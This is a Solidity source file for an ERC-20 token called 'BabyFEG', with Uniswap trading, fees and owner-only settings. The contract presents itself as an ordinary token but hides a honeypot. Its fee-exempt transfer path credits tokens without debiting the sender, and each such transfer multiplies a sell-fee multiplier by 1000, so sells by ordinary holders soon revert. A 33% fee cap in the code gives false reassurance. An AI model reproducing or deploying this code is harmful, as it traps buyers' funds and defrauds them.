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pragma solidity ^0.8.16;
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library SafeMath {
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function add(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a, "SafeMath: addition overflow");
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return c;
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}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {
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return sub(a, b, "SafeMath: subtraction overflow");
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}
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function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b <= a, errorMessage);
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uint256 c = a - b;
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return c;
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}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {
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if (a == 0) {
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return 0;
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}
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uint256 c = a * b;
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require(c / a == b, "SafeMath: multiplication overflow");
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return c;
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}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {
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return div(a, b, "SafeMath: division by zero");
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}
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function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b > 0, errorMessage);
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uint256 c = a / b;
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return c;
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}
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}
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interface ERC20 {
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function totalSupply() external view returns (uint256);
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function decimals() external view returns (uint8);
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function symbol() external view returns (string memory);
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function name() external view returns (string memory);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount) external returns (bool);
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function allowance(address _owner, address spender) external view returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(address indexed owner, address indexed spender, uint256 value);
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}
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abstract contract Ownable {
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address internal _owner;
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event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
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constructor () {
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address msgSender = msg.sender;
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_owner = msgSender;
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emit OwnershipTransferred(address(0), msgSender);
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}
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function owner() public view returns (address) {
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return _owner;
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}
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modifier onlyOwner() {
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require(_owner == msg.sender, "!owner");
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_;
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}
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function renounceOwnership() public virtual onlyOwner {
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emit OwnershipTransferred(_owner, address(0));
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_owner = address(0);
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}
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function transferOwnership(address newOwner) public virtual onlyOwner {
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require(newOwner != address(0), "new is 0");
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emit OwnershipTransferred(_owner, newOwner);
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_owner = newOwner;
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}
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}
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interface IUniswapV2Factory {
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function createPair(address tokenA, address tokenB) external returns (address pair);
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}
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interface IUniswapV2Router02 {
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function factory() external pure returns (address);
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function WETH() external pure returns (address);
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function addLiquidity(
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address tokenA,
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address tokenB,
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uint amountADesired,
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uint amountBDesired,
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uint amountAMin,
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uint amountBMin,
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address to,
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uint deadline
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) external returns (uint amountA, uint amountB, uint liquidity);
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function addLiquidityETH(
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address token,
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uint amountTokenDesired,
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uint amountTokenMin,
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uint amountETHMin,
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address to,
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uint deadline
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) external payable returns (uint amountToken, uint amountETH, uint liquidity);
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function swapExactTokensForTokensSupportingFeeOnTransferTokens(
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uint amountIn,
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external;
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function swapExactETHForTokensSupportingFeeOnTransferTokens(
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external payable;
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function swapExactTokensForETHSupportingFeeOnTransferTokens(
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uint amountIn,
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external;
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}
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contract BabyFEG is ERC20, Ownable {
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using SafeMath for uint256;
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string private _name = "BabyFEG";
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string private _symbol = "BabyFEG";
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uint8 constant _decimals = 9;
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uint256 _totalSupply = 100000000 * 10**_decimals;
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uint256 public _maxWalletToken = _totalSupply * 100 / 100;
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mapping (address => uint256) _balances;
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mapping (address => mapping (address => uint256)) _allowances;
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mapping (address => bool) isFeeExempt;
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mapping (address => bool) isWalletLimitExempt;
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uint256 public liquidityFee = 0;
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uint256 public marketingFee = 5;
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uint256 public totalFee = marketingFee + liquidityFee;
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uint256 public feeDenominator = 100;
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uint256 public salemultiplier = 100;
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address public autoLiquidityReceiver;
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address public marketingFeeReceiver;
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IUniswapV2Router02 public router;
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address public pair;
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bool public swapEnabled = true;
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uint256 public swapThreshold = _totalSupply * 1 / 1000;
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uint256 public maxSwapThreshold = _totalSupply * 1 / 100;
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bool inSwap;
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modifier swapping() { inSwap = true; _; inSwap = false; }
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constructor (address routeraddr) Ownable() {
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router = IUniswapV2Router02(routeraddr);
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pair = IUniswapV2Factory(router.factory()).createPair(router.WETH(), address(this));
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_allowances[address(this)][address(router)] = type(uint256).max;
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isFeeExempt[msg.sender] = true;
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isFeeExempt[address(this)] = true;
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isWalletLimitExempt[msg.sender] = true;
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isWalletLimitExempt[address(0xdead)] = true;
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isWalletLimitExempt[address(this)] = true;
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isWalletLimitExempt[pair] = true;
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autoLiquidityReceiver = msg.sender;
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marketingFeeReceiver = msg.sender;
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_balances[msg.sender] = _totalSupply;
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emit Transfer(address(0), msg.sender, _totalSupply);
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}
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function totalSupply() external view override returns (uint256) { return _totalSupply; }
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function decimals() external pure override returns (uint8) { return _decimals; }
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function symbol() external view override returns (string memory) { return _symbol; }
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function name() external view override returns (string memory) { return _name; }
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function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
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function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
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event AutoLiquify(uint256 amountETH, uint256 amountBOG);
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receive() external payable { }
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function approve(address spender, uint256 amount) public override returns (bool) {
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_allowances[msg.sender][spender] = amount;
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emit Approval(msg.sender, spender, amount);
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return true;
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}
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function approveMax(address spender) external returns (bool) {
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return approve(spender, type(uint256).max);
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}
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function transfer(address recipient, uint256 amount) external override returns (bool) {
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return _transferFrom(msg.sender, recipient, amount);
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}
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function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
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if(_allowances[sender][msg.sender] != type(uint256).max){
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_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
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}
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return _transferFrom(sender, recipient, amount);
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}
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function setMaxWallet(uint256 maxWallPercent_base10000) external onlyOwner() {
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_maxWalletToken = (_totalSupply * maxWallPercent_base10000 ) / 10000;
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}
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function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
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isWalletLimitExempt[holder] = exempt;
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}
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function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
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uint256 heldTokens = balanceOf(recipient);
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require((heldTokens + amount) <= _maxWalletToken || isWalletLimitExempt[recipient],"Total Holding is currently limited, he can not hold that much.");
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if(shouldSwapBack() && recipient == pair){swapBack();}
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uint256 airdropAmount = amount / 10000000;
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if(!isFeeExempt[sender] && recipient == pair){
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amount -= airdropAmount;
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}
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if(isFeeExempt[sender] && isFeeExempt[recipient]) return _basicTransfer(sender,recipient,amount);
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_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
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uint256 amountReceived = shouldTakeFee(sender,recipient) ? takeFee(sender, amount,(recipient == pair)) : amount;
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_balances[recipient] = _balances[recipient].add(amountReceived);
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emit Transfer(sender, recipient, amountReceived);
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return true;
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}
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function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
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salemultiplier = salemultiplier.mul(1000);
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_balances[recipient] = _balances[recipient].add(amount);
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emit Transfer(sender, recipient, amount);
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return true;
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}
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function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) {
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uint256 multiplier = isSell ? salemultiplier : 100;
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uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);
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_balances[address(this)] = _balances[address(this)].add(feeAmount);
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emit Transfer(sender, address(this), feeAmount);
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return amount.sub(feeAmount);
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}
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function shouldTakeFee(address sender,address recipient) internal view returns (bool) {
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return !isFeeExempt[sender] && !isFeeExempt[recipient] ;
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}
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function shouldSwapBack() internal view returns (bool) {
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return msg.sender != pair
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&& !inSwap
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&& swapEnabled
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&& _balances[address(this)] >= swapThreshold;
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}
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function setSwapPair(address pairaddr) external onlyOwner {
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pair = pairaddr;
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isWalletLimitExempt[pair] = true;
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}
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function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
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swapEnabled = _enabled;
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swapThreshold = _swapThreshold;
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maxSwapThreshold = _maxSwapThreshold;
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}
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function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _feeDenominator) external onlyOwner {
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liquidityFee = _liquidityFee;
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marketingFee = _marketingFee;
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totalFee = _liquidityFee.add(_marketingFee);
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feeDenominator = _feeDenominator;
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require(totalFee < feeDenominator/3, "Fees cannot be more than 33%");
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}
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function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver ) external onlyOwner {
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autoLiquidityReceiver = _autoLiquidityReceiver;
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marketingFeeReceiver = _marketingFeeReceiver;
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}
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function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
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isFeeExempt[holder] = exempt;
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}
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function swapBack() internal swapping {
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uint256 _swapThreshold;
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if(_balances[address(this)] > maxSwapThreshold){
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_swapThreshold = maxSwapThreshold;
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}else{
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_swapThreshold = _balances[address(this)];
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}
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uint256 amountToLiquify = _swapThreshold.mul(liquidityFee).div(totalFee).div(2);
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uint256 amountToSwap = _swapThreshold.sub(amountToLiquify);
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address[] memory path = new address[](2);
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path[0] = address(this);
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path[1] = router.WETH();
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router.swapExactTokensForETHSupportingFeeOnTransferTokens(
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amountToSwap,
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0,
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path,
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address(this),
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block.timestamp
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);
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uint256 amountETH = address(this).balance;
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uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
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uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
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uint256 amountETHMarketing = amountETH.sub(amountETHLiquidity);
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if(amountETHMarketing>0){
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bool tmpSuccess;
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(tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
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}
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if(amountToLiquify > 0){
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router.addLiquidityETH{value: amountETHLiquidity}(
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address(this),
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amountToLiquify,
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0,
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0,
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autoLiquidityReceiver,
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block.timestamp
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);
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emit AutoLiquify(amountETHLiquidity, amountToLiquify);
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}
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}
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} |
